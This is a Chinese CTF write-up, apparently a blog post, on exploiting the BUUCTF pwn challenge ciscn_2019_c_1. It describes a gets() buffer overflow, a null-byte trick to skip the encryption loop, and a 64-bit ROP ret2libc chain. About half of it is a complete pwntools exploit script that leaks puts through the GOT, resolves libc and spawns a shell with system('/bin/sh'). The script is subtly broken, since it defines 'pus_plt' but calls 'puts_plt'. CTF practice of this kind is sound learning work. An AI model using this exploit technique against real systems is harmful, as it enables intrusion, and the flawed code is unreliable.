Buuctf(PWN)ciscn_2019_c_1

在这里插入图片描述
在这里插入图片描述
一个普通的小程序,给了3个选项来供我们选择;

在main函数进行分析,发现输入 1 是正确的通道; 点进去下面的encrypt() 加密函数;

在这里插入图片描述
在这里发现了 gets()溢出函数; 我们可以利用这个函数漏洞来构建我们的payload;

紧接着下面 就会对 我们输入的payload 进行加密操作会破坏我们的payload;

我们需要避免这种情况;

看第14行有个 if ( v0 >= strlen(s) ); 当不满足条件时会退出 while 循环;

我们要借此利用这个 if 只要 在我们的 payload 语句 最前方 输入 '\0’即可 具体可以看看:

strlen()函数 与 “\0“ 的关系 与 利用

另外这道题是 没有 sytem函数 和 bin/sh 来供我们利用的,考察了:rop_x64,泄露libc这方面的知识;

Exp:

from pwn import*
from LibcSearcher import*
p=remote('node3.buuoj.cn','25295')
elf=ELF('./1')
main=0x400b28
rdi=0x400c83
ret=0x4006b9
pus_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('Input your choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()    #接收 encrypt  的两个 puts函数输出;
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))  #得到 puts 函数 的地址;
libc=LibcSearcher("puts",puts_addr)       # 得到 libc的版本;
libc_base=puts_addr-libc.dump("puts")     #    得到偏移地址
sys_addr=libc_base+libc.dump("system")     #  利用偏移地址 得到 system函数的地址
binsh=libc_base+libc.dump("str_bin_sh")     #               得到  bin/sh 的 地址
p.sendlineafter('choice!\n','1')      #   再一次执行 一遍流程
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
p.sendlineafter('encrypted\n',payload)
p.interactive()

Exp语句讲解

可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的plt和got地址来泄露我们的 ibc版本

这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了

32位程序运行执行指令的时候直接去内存地址寻址执行

64位程序则是通过寄存器来传址,寄存器去内存寻址找到地址返回给程序

先用ROPgadget 找一下需要用到的汇编指令的地址。ret ubuntu18上有栈平衡,用来进行栈对齐。

命令: ROPgadget --binary 文件名 --only "pop|ret"
在这里插入图片描述
在这里插入图片描述

第一个payload 解释:

#设置rdi寄存器的值为puts的got表地址
#调用puts函数,输出的是puts的got表地址
#设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop

有疑问的欢迎留言;

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/115091036